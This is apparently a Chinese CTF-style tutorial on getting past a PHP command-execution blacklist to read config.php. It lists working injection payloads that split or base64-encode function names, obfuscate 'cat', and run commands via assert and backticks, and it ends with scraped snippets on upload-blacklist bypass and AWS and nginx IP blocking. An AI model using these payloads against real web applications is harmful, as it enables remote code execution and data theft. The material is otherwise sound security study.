命令執行繞過黑名單方法

2021-10-22 10:45:07 字數 1197 閱讀 8586

# flag in config.php

if(!preg_match("/system|exec|highlight/i",preg_match($c))

根據黑名單的不同,獲取config.php的內容有以下幾種方法:

1.命令執行函式

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()

?c=passthru('cat config.php');

2.構造

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

3.繞過cat命令

?c=highlight_file('config.php');

?c=system('ca""t config.php');

?c=system("ca''t config.php");

?c=system('ca\t config.php');

linux有很多類似於cat的方法:tac、more、less、head、tail、nl、sed、sort、uniq

4.base64繞過

?c=$a=base64_decode('c3lzd**t');$b=base64_decode('y2f0ignvbmzpzy5waha=');$a($b);

5.繞過分號;

?c=system('cat config.php')?>

?c=assert(base64_decode('c3lzd**tkcdjyxqgy29uzmlnlnbocccp'))?> //assert()會將字串當做php**來執行,並且字串末尾可以沒有分號

6.post傳值

?c=echo `$_post[1]`; //然後再通過post傳參1=cat config.php

其他函式:

//列印該目錄下所有檔名

?c=var_dump(glob('*')); //資訊更全面

?c=print_r(glob('*'));

?c=print_r(scandir('.'))

//下面兩個同第二個,只是不帶引數

?c=print_r(scandir(pos(localeconv())));

?c=print_r(scandir(current(localeconv())));

asp 檢查黑名單 黑名單驗證的突破

黑名單驗證的突破 作業系統特性 windows下對大小寫不敏感,php和php對windows來說都是一樣的。windows下,上傳的檔名中帶有test.php data會在伺服器生產乙個test.php的檔案並可以被解析。及 test.php test.php data windows下檔名結尾加...

aws 黑名單功能

如果你想授權某段ip訪問,那麼可以用安全組的白名單功能,但是安全組不提供黑名單功能。如果我們的某個服務受某個ip攻擊,那麼此時可以選擇網路acl對其進行黑名單限制,操作步驟如下 1.登入aws,選擇vpc 2.vpc裡有個網路acl,當然事先你要找到你服務對應的vpc 3.選擇編輯入站規則,入站規則...

Linux nginx 黑名單配置

進入nginx配置資料夾下,建立blacklist.conf黑名單配置檔案,編輯blacklist.conf cd usr local nginx conf touch blacklist.conf vi blacklist.conf 寫入要攔截的ip位址,儲存並退出 編輯當前目錄下nginx.co...